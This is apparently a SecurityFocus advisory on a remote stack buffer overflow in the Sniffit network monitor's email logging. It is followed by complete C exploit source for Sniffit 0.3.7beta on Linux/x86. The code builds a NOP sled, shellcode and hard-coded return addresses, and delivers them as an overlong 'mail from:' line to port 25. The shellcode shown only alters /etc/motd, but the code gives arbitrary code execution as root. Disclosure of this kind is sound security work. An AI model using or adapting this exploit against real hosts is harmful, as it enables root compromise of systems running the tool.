source: http://www.securityfocus.com/bid/1158/info

Sniffit is a freely available, open source network monitoring tool. It is designed for use on the Unix and Linux Operating Systems.

Sniffit contains a remotely exploitable buffer overflow vulnerability. If Sniffit is configured to log emails, attackers may be able to exploit a stack overflow in the logging mechanism and execute arbitrary code as root on the underlying host.

There may be other buffer overflow vulnerabilities in sniffit related to the logging mechanism. There are several suspicious instances of sprintf() in the logging functions. Administrators are advised to use more actively supported alternatives such as Snort or dsniff.

/*
 * Sniffit 0.3.7beta Linux/x86 Remote Exploit
 * ShellCode is a modified version of w00w00 write egg, 
 * to pass Sniffit input filter
 *
 * Tested on 	RedHat 5.2, 6.0, 6.2
 * Proof Of Concept Code
 *
 * credits:	|CyraX| for pointing me to the coredump
 *		del0 for hurrying me :)
 *		vecna for offering me drinks ;P
 *		belf for loving and caring his GSM ;P
 * 
 *     			    	     FuSyS [S0ftpj|BFi]
 * 				 http://www.s0ftpj.org/
 */

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define LENGTH		600
#define RET		RH6x
#define RH52		0xbfff5c10
#define RH6x		0xbfff5bb5 	// 0.3.6HIP 0xbfffcc50
#define OFFSET          0
#define ALIGNOP		3		// 3 RH6.0, 4 RH6.2
					// may vary [1-5]


/* Note To Script Kiddies: This ShellCode Simply Changes An
   Existing /etc/motd So Don't Bother DownLoading */

unsigned char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
"\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4"
"\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31"
"\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
"\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77"
"\x61\x73\x20\x68\x65\x72\x65\x0a";

unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;

  if((addr.s_addr=inet_addr(hostname)) == -1) {
    if(!(hostEnt=gethostbyname(hostname))) {
        printf("Name Resolution Error:`%s`\n",hostname);
        exit(0);
    }
    bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  }
  return addr.s_addr;
}

int main(int argc,char **argv)
{
        char buff[LENGTH+ALIGNOP+1];
	char cmd[610];
        long addr;
        unsigned long sp;
        int offset=OFFSET;
        int i, x;
        int sock;
        struct sockaddr_in sin;

	if(argc<2) {
		fprintf(stderr, "Usage: %s <sniffit host>\n", argv[0]);
		exit(0);
	}

        sp=(unsigned long) RET;
        addr=sp-offset;

	for(i=0;i<120-ALIGNOP;i++)
		buff[i]=0x90;
	for(x=0; x<strlen(shellcode); i++, x++)
		buff[i]=shellcode[x];
	for(i-=1 ; i<LENGTH; i+=4) {
		buff[i  ] =  addr & 0x000000ff;
  		buff[i+1] = (addr & 0x0000ff00) >> 8;
  		buff[i+2] = (addr & 0x00ff0000) >> 16;
  		buff[i+3] = (addr & 0xff000000) >> 24;
 	}

	printf("\nSniffit <=0.3.7beta Linux/x86 Remote Exploit\n");
	printf("by FuSyS [S0ftpj|BFi] - http://www.s0ftpj.org\n\n");

        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(25);
        sin.sin_addr.s_addr=nameResolve(argv[1]);

	printf("Connecting to %s ...\n", argv[1]);

        if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
        {
                printf("Can't create socket\n");
                exit(0);
        }
        if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
        {
                printf("Can't connect to Sniffit Server\n");
                exit(0);
        }

	printf("Injecting ShellCode ...\n");

	strncat(cmd, "mail from:", 10);
	strncat(cmd, buff, strlen(buff));
	write(sock, cmd, strlen(cmd));

	printf("Done!\n\n");

        return(0);
}